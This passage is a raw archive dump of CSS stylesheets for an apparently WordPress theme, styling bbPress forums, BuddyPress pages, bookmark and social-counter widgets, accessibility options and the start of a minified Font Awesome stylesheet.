    border: 1px solid var(--pcborder-cl);
}
#favorite-toggle,
#subscription-toggle {
    color: #777;
}
#favorite-toggle a,
#subscription-toggle a {
    color: #fff;
    opacity: 1;
}
.wrapper-boxed .bbp-pagination-links a:hover,
.wrapper-boxed .bbp-pagination-links span.current {
    color: #313131;
    border-color: #999999;
    text-decoration: none;
    background: none;
    opacity: 1;
}
.wrapper-boxed .bbp-pagination-links span.current {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background: var(--pcaccent-cl);
}
#bbpress-forums #bbp_topic_title,
#bbpress-forums #bbp_topic_tags {
    font-family: var(--pcbody-font);
    font-size: 12px;
    line-height: normal;
    display: block;
    display: block;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    height: auto;
    margin-bottom: 20px;
    padding: 11px 20px;
    cursor: auto;
    vertical-align: baseline;
    border: 1px solid var(--pcborder-cl);
    -moz-border-radius: 0;
    -webkit-border-radius: 0;
    border-radius: 0;
    outline: none;
    background: none;
}
#bbpress-forums #bbp_reply_submit,
#bbpress-forums #bbp_topic_submit {
    font-family: var(--pchead-font);
    font-size: 14px;
    font-weight: bold;
    display: block;
    max-width: 450px;
    margin: 0;
    padding: 12px 20px;
    cursor: pointer;
    -moz-transition: all 0.3s;
    -webkit-transition: all 0.3s;
    transition: all 0.3s;
    text-transform: uppercase;
    color: #313131;
    border: none;
    background: #F5F5F5;
}
#bbpress-forums #bbp_reply_submit:hover,
#bbpress-forums #bbp_topic_submit:hover {
    color: #fff;
    background: var(--pcaccent-cl);
}
#bbpress-forums.bbpress-wrapper .bbp-forums-list {
    margin: 0 0 0 7px;
    padding-left: 12px;
    border-left: 1px solid var(--pcborder-cl);
}
/* = Buddypress
-----------------------------------------------------*/
#buddypress .standard-form textarea {
    border: 1px solid #ECECEC;
    border-radius: 0;
    color: #999;
    font-size: 100%;
    font-weight: normal;
    padding: 6px;
    background-color: transparent;
}
#buddypress .standard-form input[type=text],
#buddypress .standard-form input[type=color],
#buddypress .standard-form input[type=date],
#buddypress .standard-form input[type=datetime],
#buddypress .standard-form input[type=datetime-local],
#buddypress .standard-form input[type=email],
#buddypress .standard-form input[type=month],
#buddypress .standard-form input[type=number],
#buddypress .standard-form input[type=range],
#buddypress .standard-form input[type=search],
#buddypress .standard-form input[type=password],
#buddypress .standard-form input[type=tel],
#buddypress .standard-form input[type=time],
#buddypress .standard-form input[type=url],
#buddypress .standard-form input[type=week] {
    border: 1px solid #ECECEC;
    border-radius: 0;
    color: #999;
    font-size: 100%;
    font-weight: normal;
    padding: 6px;
    width: 100%;
    max-width: 300px;
    background-color: transparent;
    padding-left: 15px;
    padding-right: 15px;
}
#buddypress .standard-form select,
#buddypress .standard-form input[type=password] {
    border: 1px solid #ECECEC;
    border-radius: 0;
    color: #999;
    font-size: 100%;
    font-weight: normal;
    padding: 6px;
    background-color: transparent !important;
}
#buddypress .dir-search input[type=search], #buddypress .dir-search input[type=text],
#buddypress .groups-members-search input[type=search],
#buddypress .groups-members-search input[type=text] {
    width: 95%;
    height: 40px;
    border: 1px solid #ECECEC;
    padding: 10px 43px 10px 15px;
    font-weight: normal;
    font-size: 12px;
    -webkit-appearance: textfield;
    background: transparent;
}
#buddypress div.dir-search input[type=text] {
    padding-left: 15px;
}
#buddypress .dir-search input[type=submit],
#buddypress .groups-members-search input[type=submit] {
    font-size: 14px;
    line-height: 38px;
    position: absolute;
    top: 0;
    right: 0;
    height: 40px;
    padding: 0 15px 0;
    cursor: pointer;
    transition: all 0.25s;
    text-align: center;
    text-transform: uppercase;
    color: #ffffff;
    color: #ffffff;
    border: 1px solid #000000;
    border-color: var(--pcaccent-cl);
    border-radius: 0;
    background: #000000;
    background: var(--pcaccent-cl);
}
#buddypress button,
#buddypress a.button {
    border: 1px solid #ECECEC;
    color: #999;
    font-size: 12px;
    padding: 6px 10px;
}
#buddypress input[type=button], #buddypress input[type=reset] {
    border: 1px solid #ECECEC;
    color: #999;
    font-size: 12px;
    padding: 6px 10px;
}
#buddypress ul.button-nav li a,
#buddypress div.generic-button a,
#buddypress .comment-reply-link {
    border: 1px solid #ECECEC;
    color: #999;
    font-size: 12px;
    padding: 6px 10px;
}
a.bp-title-button {
    border: 1px solid #ECECEC;
    color: #999;
    font-size: 12px;
    padding: 6px 10px;
}
#buddypress button:hover {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
#buddypress a.button:hover, #buddypress a.button:focus {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
#buddypress input[type=button]:hover,
#buddypress input[type=reset]:hover {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
#buddypress ul.button-nav li a:hover,
#buddypress ul.button-nav li.current a {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
#buddypress div.generic-button a:hover,
#buddypress .comment-reply-link:hover {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
#buddypress input[type=submit] {
    font-size: 14px;
    line-height: 1;
    padding: 12px 20px;
    text-transform: uppercase;
    color: #fff;
    border: 0px;
    border: none !important;
    background-color: var(--pcaccent-cl);
}
#buddypress input[type=submit]:hover {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
#buddypress select {
    padding: 3px 10px;
    color: #999;
    background-color: transparent;
    border: 1px solid #ECECEC;
    -webkit-box-shadow: none;
    box-shadow: none;
    transition: all .15s;
    outline: none;
}
#buddypress div.dir-search {
    position: relative;
    float: none;
    width: 100%;
    margin-top: 0;
    padding-bottom: 21px;
}
#buddypress div#item-header {
    margin-bottom: 10px;
}
#buddypress div#item-header div#item-actions h3 {
    font-size: 14px;
    color: #999;
}
#buddypress div#item-header img.avatar {
    margin: 0 30px 19px 0;
    width: 150px;
    height: 150px;
}
#buddypress div#item-header div#item-meta {
    font-size: 90%;
    margin: 10px 0 5px 0;
}
#buddypress ul.item-list,
#buddypress .profile[role=main] {
    border-top: 1px solid #ECECEC;
    padding-top: 10px;
}
#buddypress ul.item-list li {
    border-bottom: 1px solid #ECECEC;
    padding: 20px 0 22px;
    margin-bottom: 10px;
}
#buddypress .activity-list li.mini .activity-avatar img.avatar, #buddypress .activity-list li.mini .activity-avatar img.FB_profile_pic {
    height: 66px;
    margin-left: 0px;
    width: 66px;
}
#buddypress a.bp-primary-action span,
#buddypress #reply-title small a span {
    background: transparent !important;
    color: inherit;
    font-size: 100%;
    margin-left: 0;
    padding: 0;
}
#buddypress a.bp-primary-action span:before,
#buddypress #reply-title small a span:before {
    content: "(";
}
#buddypress a.bp-primary-action span:after,
#buddypress #reply-title small a span:after {
    content: ")";
}
/*section*/
.activity-inner {
    color: #444;
}
#buddypress ul.item-list li div.action {
    top: 25px;
}
#buddypress ul.item-list li div.item-title span {
    font-size: 90%;
}
#buddypress ul.item-list li div.item-desc, #buddypress ul.item-list li div.meta {
    color: #999;
    font-size: 90%;
}
#buddypress ul.item-list li div.item-title {
    font-weight: normal;
    font-size: 100%;
}
#buddypress ul.item-list li h4 {
    font-weight: normal;
    font-size: 100%;
}
#buddypress ul.item-list li div.item-title a,
#buddypress ul.item-list li h4 a {
    font-weight: 600;
    color: var(--pcaccent-cl);
}
#buddypress div.pagination {
    padding-bottom: 20px;
}
#buddypress div.pagination .pagination-links {
    margin-right: 0;
}
#buddypress div.pagination .pag-count {
    font-size: 100%;
    margin-left: 0;
    border: solid 1px #ECECEC;
    padding: 5px 15px;
    color: #888;
    display: inline-block;
    line-height: 1.5;
}
#buddypress div.pagination .pagination-links span,
#buddypress div.pagination .pagination-links a {
    font-size: 14px;
    line-height: 28px;
    display: inline-block;
    min-width: 30px;
    height: 30px;
    padding: 0;
    -webkit-transition: all 0.3s;
    transition: all 0.3s;
    text-align: center;
    text-decoration: none;
    color: #888;
    border: 1px solid var(--pcborder-cl);
    background: none;
}
#buddypress div.pagination .pagination-links a:hover {
    color: #313131;
    border-color: #999999;
    text-decoration: none;
    font-weight: inherit;
}
#buddypress div.pagination .pagination-links .current {
    text-decoration: none;
    color: #fff;
    border-color: var(--pcaccent-cl);
    background: var(--pcaccent-cl);
}
#buddypress div.item-list-tabs {
    background: #f5f5f5;
}
#buddypress div.item-list-tabs:not(#subnav) ul li a,
#buddypress div.item-list-tabs:not(#subnav) ul li > span {
    padding: 8px 15px;
    font-size: 14px;
    color: #999;
    border-right: solid 1px #ececec;
    border-bottom: 0;
}
#buddypress div.item-list-tabs:not(#subnav) ul li.selected a,
#buddypress div.item-list-tabs:not(#subnav) ul li.current a,
#buddypress div.item-list-tabs:not(#subnav) ul li a:hover {
    background-color: transparent;
    color: #444;
    opacity: 1;
    font-weight: normal;
}
#buddypress div.item-list-tabs ul li a span {
    background: transparent !important;
    border: none !important;
    color: inherit;
    display: inline;
    vertical-align: top;
    font-size: 100%;
    margin-left: 0;
    padding: 0;
}
#buddypress div.item-list-tabs ul li a span:before {
    content: "(";
}
#buddypress div.item-list-tabs ul li a span:after {
    content: ")";
}
#buddypress #activity-all a:before,
#buddypress #groups-all a:before,
#buddypress #members-all a:before,
#buddypress #activity-friends a:before,
#buddypress #user-friends:before,
#buddypress #members-personal a:before,
#buddypress #activity-groups a:before,
#buddypress #user-groups:before,
#buddypress #groups-personal a:before,
#buddypress #members:before,
#buddypress #activity-favorites a:before,
#buddypress #user-activity:before,
#buddypress #user-xprofile:before,
#buddypress #user-notifications:before,
#buddypress #user-messages:before,
#buddypress .send-message:before,
#buddypress #user-settings:before,
#buddypress #admin:before,
#buddypress .generic-button .friendship-button.add:before,
#buddypress #home:before,
#buddypress #invite:before {
    content: "\f0ac";
    display: inline-block;
    font-family: FontAwesome;
    font-style: normal;
    font-weight: normal;
    line-height: 1;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    margin-right: 5px;
}
#buddypress #activity-friends a:before,
#buddypress #user-friends:before,
#buddypress #members-personal a:before {
    content: "\f007";
}
#buddypress #activity-groups a:before,
#buddypress #user-groups:before,
#buddypress #groups-personal a:before,
#buddypress #members:before {
    content: "\f0c0";
}
#buddypress #activity-favorites a:before {
    content: "\f005";
}
#buddypress #user-activity:before {
    content: "\f1d8";
}
#buddypress #user-xprofile:before {
    content: "\f114";
}
#buddypress #user-notifications:before {
    content: "\f0a2";
}
#buddypress #user-messages:before,
#buddypress .send-message:before {
    content: "\f003";
}
#buddypress #user-settings:before,
#buddypress #admin:before {
    content: "\f013";
}
#buddypress #activity-mentions a:before,
#buddypress .activity-button.mention:before {
    font-family: Arial, Helvetica, sans-serif;
    content: "@";
    font-weight: bold;
    margin-right: 5px;
}
#buddypress #home:before {
    content: "\f015";
}
#buddypress #invite:before {
    content: "\f046";
}
#buddypress .generic-button .friendship-button.add:before {
    content: "\f067";
}
#buddypress div.item-list-tabs#subnav {
    margin: 40px 0 10px;
}
#buddypress div.item-list-tabs ul li a,
#buddypress div.item-list-tabs ul li > span {
    padding: 8px 15px;
    color: #999;
    font-size: 14px;
}
#buddypress div.item-list-tabs ul li.selected a,
#buddypress div.item-list-tabs ul li.current a,
#buddypress div.item-list-tabs ul li a:hover {
    font-weight: normal;
    opacity: 1;
    color: #fff;
    background-color: var(--pcaccent-cl);
}
@media (max-width: 479px) {
    #buddypress div.pagination {
        clear: both;
        float: none;
    }
    #buddypress div.pagination .pag-count {
        clear: both;
        float: none;
    }
    #buddypress div.pagination .pagination-links {
        float: none;
        margin: 10px 0;
        clear: both;
    }
}
/*tabs*/
@media (max-width: 991px) {
    #buddypress div.item-list-tabs:not(#subnav) ul {
        margin-right: -1px;
    }
    #buddypress div.item-list-tabs:not(#subnav) ul li {
        width: 33.33333%;
    }
}
@media (max-width: 767px) {
    #buddypress div.item-list-tabs:not(#subnav) ul li {
        width: 50%;
    }
    #bbpress-forums .bbp-body .bbp-forum-freshness img,
    #bbpress-forums .bbp-body .bbp-topic-freshness img {
        display: none;
    }
}
@media (max-width: 360px) {
    #buddypress div.item-list-tabs:not(#subnav) ul li {
        width: 100%;
    }
}
/*activity*/
.activity-greeting {
    color: #999;
}
#buddypress ul.item-list li.activity img.avatar,
#buddypress .activity-list .activity-avatar img,
#buddypress form#whats-new-form #whats-new-avatar img {
    width: 50px;
    height: auto;
}
#buddypress #item-body #subnav + form#whats-new-form {
    margin-top: 30px;
}
#buddypress form#whats-new-form textarea {
    font-size: 1em;
    width: 100%;
    min-height: 100px;
    border-color: var(--pcborder-cl);
    background: none;
}
#buddypress #whats-new-options {
    overflow: visible;
    min-height: 55px;
    height: auto !important;
}
#whats-new-post-in-box {
    color: #999;
}
#buddypress #activity-stream {
    margin-top: 20px;
}
#buddypress .activity-list .activity-content {
    margin: 0 0 0 64px;
}
#buddypress .activity-header a:first-child,
#buddypress .comment-meta a:first-child,
#buddypress .acomment-meta a:first-child {
    font-weight: bold;
    color: var(--pcaccent-cl);
}
#buddypress .activity-list .activity-content .activity-header {
    color: #999;
}
#buddypress .activity-list .activity-content .activity-header img.avatar {
    width: 22px;
    margin: 0 5px 0px 0 !important;
}
#buddypress .activity-list .activity-content .comment-header {
    color: #999;
}
#buddypress #activity-stream p {
    margin-top: 0;
}
#buddypress div.activity-meta a {
    padding: 5px 10px;
    display: inline-block;
    margin-bottom: 8px;
    line-height: 1;
    text-transform: none;
}
#buddypress div.activity-meta a.delete-activity:hover {
    background: #f93636;
    border-color: #f93636;
}
#buddypress div.activity-meta a.acomment-reply:before,
#buddypress div.activity-meta a.fav:before,
#buddypress div.activity-meta a.unfav:before,
#buddypress div.activity-meta a.delete-activity:before {
    content: "\f086";
    display: inline-block;
    font-family: FontAwesome;
    font-style: normal;
    font-weight: normal;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    margin-right: 6px;
}
#buddypress div.activity-meta a.fav:before {
    content: "\f004";
}
#buddypress div.activity-meta a.unfav:before {
    content: "\f08a";
}
#buddypress div.activity-meta a.delete-activity:before {
    content: "\f014";
}
#buddypress div.activity-comments ul li {
    padding: 20px 0 0;
}
#buddypress div.activity-comments div.acomment-meta, #buddypress div.activity-comments div.acomment-content {
    font-size: 100%;
}
#buddypress div.activity-comments div.acomment-avatar img {
    height: 30px;
    width: 30px;
}
#buddypress .activity-list li.load-more, #buddypress .activity-list li.load-newest {
    background: none;
    font-size: 100%;
    margin: 30px 0;
    padding: 0;
    text-transform: none;
    border-bottom: none;
}
#buddypress .activity-list li.load-more a,
#buddypress .activity-list li.load-newest a {
    display: block;
    padding: 9px 10px;
    max-width: 400px;
    margin: 0 auto;
    border: 1px solid #ececec;
    line-height: 1.4;
    text-align: center;
    transition: all 0.25s;
    -webkit-transition: all 0.25s;
    background: transparent !important;
    color: #999;
    text-decoration: none;
    text-transform: uppercase;
}
#buddypress .activity-list li.load-more:hover a,
#buddypress .activity-list li.load-newest:hover a {
    opacity: 0.85;
}
#buddypress .activity-list li.load-more.loading a:after,
#buddypress .activity-list li.load-newest.loading a:after {
    content: "...";
}
/*single activity*/
body.activity-permalink #buddypress div.activity-comments {
    border-top: solid 3px #ECECEC;
    margin-top: 20px;
    padding-top: 20px;
}
body.activity-permalink #buddypress div.activity-comments > ul {
    padding: 0 10px 0 0px;
}
body.activity-permalink #buddypress div.activity-comments ul li {
    padding: 20px 0 0 0;
}
body.activity-permalink #buddypress div.activity-comments ul li > ul {
    margin-left: 60px;
}
body.activity-permalink #buddypress .activity-list li.mini .activity-avatar img {
    width: 150px;
    height: auto;
}
body.activity-permalink #buddypress div.activity-comments div.acomment-avatar img {
    height: 50px;
    width: 50px;
    margin-right: 20px;
}
body.activity-permalink #buddypress div.activity-comments div.acomment-content {
    font-size: 100%;
    margin-left: 70px;
}
body.activity-permalink #buddypress .acomment-options {
    margin-left: 70px;
}
/*comment*/
#buddypress div.activity-comments form div.ac-reply-content {
    color: #888;
    margin-left: 65px;
}
#buddypress div.activity-comments form .ac-textarea {
    border: 1px solid #ECECEC;
    padding: 5px 5px 0;
}
#buddypress div.profile h4 {
    font-size: 21px;
    font-weight: bold;
    margin-bottom: 20px;
}
#buddypress table.notifications,
#buddypress table.notifications-settings,
#buddypress table.profile-settings,
#buddypress table.profile-fields,
#buddypress table.wp-profile-fields,
#buddypress table.messages-notices,
#buddypress table.forum {
    margin-bottom: 30px;
}
#buddypress table.notifications tr td.label,
#buddypress table.notifications-settings tr td.label,
#buddypress table.profile-fields tr td.label,
#buddypress table.wp-profile-fields tr td.label,
#buddypress table.messages-notices tr td.label,
#buddypress table.forum tr td.label {
    display: table-cell;
    color: inherit;
    text-align: left;
    font-weight: normal;
    font-size: inherit;
    text-transform: uppercase;
    border-radius: 0;
    background: transparent;
}
#buddypress table.notifications thead tr,
#buddypress table.notifications-settings thead tr,
#buddypress table.profile-settings thead tr,
#buddypress table.profile-fields thead tr,
#buddypress table.wp-profile-fields thead tr,
#buddypress table.messages-notices thead tr,
#buddypress table.forum thead tr {
    background: var(--pcaccent-cl);
}
#buddypress table.notifications tr.alt td,
#buddypress table.notifications-settings tr.alt td,
#buddypress table.profile-settings tr.alt td,
#buddypress table.profile-fields tr.alt td,
#buddypress table.wp-profile-fields tr.alt td,
#buddypress table.messages-notices tr.alt td,
#buddypress table.forum tr.alt td {
    background: transparent;
}
#buddypress input[type="submit"].pending,
#buddypress input[type="button"].pending,
#buddypress input[type="reset"].pending,
#buddypress input[type="submit"].disabled,
#buddypress input[type="button"].disabled,
#buddypress input[type="reset"].disabled,
#buddypress input[type="submit"][disabled=disabled] {
    border-color: inherit;
    color: #fff;
}
#buddypress button.pending, #buddypress button.disabled {
    border-color: inherit;
    color: #fff;
}
#buddypress div.pending a,
#buddypress a.disabled {
    border-color: inherit;
    color: #fff;
}
#buddypress #profile-edit-form ul.button-nav {
    padding-left: 0;
}
#buddypress table.profile-fields {
    margin-bottom: 30px;
    border-top: 1px solid #e9e9e9;
}
#buddypress table.profile-fields:last-child {
    margin-bottom: 30px;
    border-top: 1px solid #e9e9e9;
}
/*profile*/
/*group*/
@media (min-width: 768px) {
    #buddypress div#item-header div#item-header-content {
        float: none;
    }
}
@media only screen and (max-width: 479px) {
    #buddypress div.dir-search {
        float: none;
    }
    #buddypress div.dir-search input[type="text"] {
        margin-bottom: 0;
        width: 100%;
    }
}
.groups #item-header-content span.highlight {
    background-color: #eaeaea;
    padding: 10px 10px;
    font-size: 100%;
    line-height: 1;
    color: #999;
    display: inline-block;
    margin-bottom: 10px;
}
.groups #item-header-content span.activity {
    display: block;
}
#buddypress div#invite-list {
    background-color: transparent;
    padding: 0;
    height: auto;
    max-height: 400px;
}
#buddypress form.standard-form .left-menu #invite-list ul {
    padding: 0;
}
#buddypress form.standard-form .left-menu #invite-list ul li {
    margin: 0 0 5px 1%;
}
#buddypress .invite div.submit input {
    float: right;
    margin-right: 0;
}
#buddypress #members-dir-list ul.item-list li {
    padding: 10px 0 19px;
}
#buddypress div.profile h2 {
    margin-bottom: 10px;
}
#buddypress .field-visibility-settings-toggle {
    margin-top: 15px;
}
#buddypress .standard-form button {
    line-height: 1.3;
    padding: 3px 10px;
}
#buddypress .standard-form select {
    padding: 2px 6px;
}
#buddypress .standard-form #basic-details-section input[type=password],
#buddypress .standard-form #blog-details-section input#signup_blog_url {
    width: 100%;
}
#main #bbpress-forums .bbp-login-form fieldset.bbp-form select,
#main #bbpress-forums .bbp-login-form .bbp-form input[type="password"],
#main #bbpress-forums .bbp-login-form .bbp-form input[type="text"] {
    font-family: var(--pcbody-font);
    font-size: 12px;
    line-height: normal;
    display: block;
    display: block;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    width: 100%;
    height: auto;
    margin-bottom: 20px !important;
    padding: 11px 20px;
    cursor: auto;
    vertical-align: baseline;
    border: 1px solid var(--pcborder-cl);
    -moz-border-radius: 0;
    -webkit-border-radius: 0;
    border-radius: 0;
    outline: none;
    background: none;
}
#main #bbpress-forums .bbp-login-form fieldset.bbp-form label {
    margin-bottom: 6px;
}
#main .bbp-login-form .bbp-submit-wrapper button[type="submit"] {
    font-family: var(--pchead-font);
    font-size: 14px;
    font-weight: bold;
    display: block;
    width: 100%;
    max-width: 500px;
    margin: 0;
    padding: 12px 20px;
    cursor: pointer;
    -moz-transition: all 0.3s;
    -webkit-transition: all 0.3s;
    transition: all 0.3s;
    text-transform: uppercase;
    color: #313131;
    border: none;
    outline: none;
    background: #F5F5F5;
}
#main .bbp-login-form .bbp-submit-wrapper button[type="submit"]:hover {
    color: #fff;
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
/*--------- Max width 479px ---------*/
@media only screen and (max-width: 479px) {
    #bbpress-forums li.bbp-forum-info, #bbpress-forums li.bbp-topic-title,
    #bbpress-forums .bbp-forum-freshness, #bbpress-forums .bbp-topic-freshness {
        width: 30%;
    }
    #bbpress-forums li.bbp-forum-topic-count,
    #bbpress-forums li.bbp-forum-reply-count,
    #bbpress-forums li.bbp-topic-voice-count,
    #bbpress-forums li.bbp-topic-reply-count {
        width: 20%;
    }
    #bbpress-forums a.bbp-author-avatar {
        display: none;
    }
    #bbpress-forums .bbp-forum-freshness,
    #bbpress-forums .bbp-topic-freshness {
        padding-right: 0;
    }
    #bbpress-forums li.bbp-topic-title .bbp-topic-permalink,
    #bbpress-forums li.bbp-topic-title .bbp-topic-meta {
        padding-left: 0;
    }
}
PK     N\YGr      css/bookmark.cssnu [        .penci-bookmark-btn.loop {
    position: absolute;
    top: 10px;
    left: 10px;
    z-index: 10;
    width: 25px;
    height: 25px;
    line-height: 25px;
    border: 1px solid #fff;
    color: #fff;
    text-align: center;
    border-radius: 50%;
}
.penci-bookmark-btn.loop:hover {
    background-color: var(--pcaccent-cl);
    border-color: var(--pcaccent-cl);
    color: #fff;
    cursor: pointer;
}
.penci-bookmark-btn.single:hover {
    color: var(--pcaccent-cl);
    cursor: pointer;
}
.penci-bookmark-btn.single:hover:before {
    color: var(--pcmeta-cl);
}
.penci-bookmark-btn.single i {
    margin-right: 3px;
    display: inline-block;
}PK     N\s      css/accessibility.cssnu [        .skip-link {
	position: absolute;
	top: 40px;
	left: 10px;
	display: inline-block;
	padding: 5px 10px;
	background: #000;
	color: #fff;
	z-index: 9999;
	font-size: 14px;
}
.skip-link:hover {
	background: #333;
}
.skip-link + .skip-link {
	top: 80px;
}
body.pc-acc-u a {
	text-decoration: underline !important;
}
body.pc-acc-f input {
  outline: auto;
}
body.pc-acc-animate-off *:not(#sidebar-nav):not(.penci-menu-hbg) {
	animation: none !important;
	transition: none !important;
	transform: none !important;
}PK     N\A      css/social-counter.cssnu [        .penci-socialCT-wrap .penci-socialCT-item.penci-social-member a {
  background-color: #e2725c;
}
.penci-socialCT-wrap .penci-socialCT-item.penci-social-foursquare a {
  background-color: #0d9ed1;
}
.penci-socialCT-wrap .penci-socialCT-item.penci-social-px500 a {
  background-color: #00aeef;
}
.penci-socialCT-wrap .penci-socialCT-item.penci-social-mixcloud a {
  background-color: #589fc3;
}
.penci-socialCT-wrap .penci-socialCT-item.penci-social-goodreads a {
  background-color: #a06e0a;
}
.penci-socialCT-wrap .penci-socialCT-item.penci-social-posts a {
  background-color: #1abc9c;
}
.penci-socialCT-wrap .penci-socialCT-item.penci-social-comments a {
  background-color: #9b59b6;
}
.penci-socialCT-wrap:not(.columns-1) {
  display: flex;
  flex-wrap: wrap;
  margin-left: -5px;
  margin-right: -5px;
}
.penci-socialCT-wrap:not(.columns-1) .penci-socialCT-item {
  flex: 0 0 auto;
  padding-left: 5px;
  padding-right: 5px;
}
.penci-socialCT-wrap.columns-2 .penci-socialCT-item {
  width: 50%;
}
.penci-socialCT-wrap.columns-3 .penci-socialCT-item {
  width: 33.3333333333%;
}
.penci-socialCT-wrap.columns-4 .penci-socialCT-item {
  width: 25%;
}
.penci-socialCT-wrap.columns-5 .penci-socialCT-item {
  width: 20%;
}
.penci-socialCT-wrap.columns-6 .penci-socialCT-item {
  width: 16.6666666667%;
}
.penci-socialCT-wrap.penci-socialCT-s7 .penci-socialCT-item {
  overflow: visible;
}
.penci-socialCT-wrap.penci-socialCT-s7 .penci-socialCT-item a {
  background: transparent !important;
  border: 1px solid var(--pcborder-cl);
  color: var(--pcheading-cl);
  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.08);
}
.penci-socialCT-wrap.penci-socialCT-s7 .penci-socialCT-item a:hover {
  background: rgba(55, 55, 55, 0.05) !important;
}
.penci-socialCT-wrap.penci-socialCT-s7 .penci-social-number {
  margin-right: 5px;
  font-weight: bold;
}
.penci-socialCT-wrap.penci-socialCT-s7 .penci-social-info-text {
  color: var(--pctext-cl);
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item span, .penci-socialCT-wrap.penci-socialCT-s9 .penci-socialCT-item span {
  display: block;
  text-align: center;
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item span i, .penci-socialCT-wrap.penci-socialCT-s9 .penci-socialCT-item span i {
  display: block;
  margin-right: 0;
  font-size: 28px;
  line-height: 1.2;
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item .penci-social-number, .penci-socialCT-wrap.penci-socialCT-s9 .penci-socialCT-item .penci-social-number {
  font-weight: bold;
  font-size: 18px;
  margin-top: 5px;
  margin-bottom: 5px;
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item .penci-social-info-text, .penci-socialCT-wrap.penci-socialCT-s9 .penci-socialCT-item .penci-social-info-text {
  font-size: 11px;
  opacity: 0.5;
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item a, .penci-socialCT-wrap.penci-socialCT-s9 .penci-socialCT-item a {
  justify-content: center;
  text-decoration: none;
  padding-top: 10px;
  padding-bottom: 10px;
}
.penci-socialCT-wrap.penci-socialCT-s8 {
  margin-left: 0;
  margin-right: 0;
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item {
  padding-left: 0;
  padding-right: 0;
  margin-bottom: -1px;
  margin-right: -1px;
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item .penci-social-info-text {
  color: var(--pctext-cl);
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item a {
  background: transparent !important;
  border: 1px solid var(--pcborder-cl);
  color: var(--pcheading-cl);
}
.penci-socialCT-wrap.penci-socialCT-s8 .penci-socialCT-item a:hover {
  background-color: rgba(55, 55, 55, 0.05) !important;
}
.penci-socialCT-wrap.penci-socialCT-s9 {
  margin-left: -2px;
  margin-right: -2px;
}
.penci-socialCT-wrap.penci-socialCT-s9 .penci-socialCT-item {
  padding-left: 2px;
  padding-right: 2px;
  margin-bottom: 4px;
}

.penci-social-textcolored .penci-social-member i {
  color: #e2725c;
}
.penci-social-textcolored .penci-social-foursquare i {
  color: #0d9ed1;
}
.penci-social-textcolored .penci-social-px500 i {
  color: #00aeef;
}
.penci-social-textcolored .penci-social-mixcloud i {
  color: #589fc3;
}
.penci-social-textcolored .penci-social-goodreads i {
  color: #a06e0a;
}
.penci-social-textcolored .penci-social-posts i {
  color: #1abc9c;
}
.penci-social-textcolored .penci-social-comments i {
  color: #9b59b6;
}
PK     N\,
  
  $  css/font-awesome.5.11.2.swap.min.cssnu [        /*!
 * Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com
 * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
 */
.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes 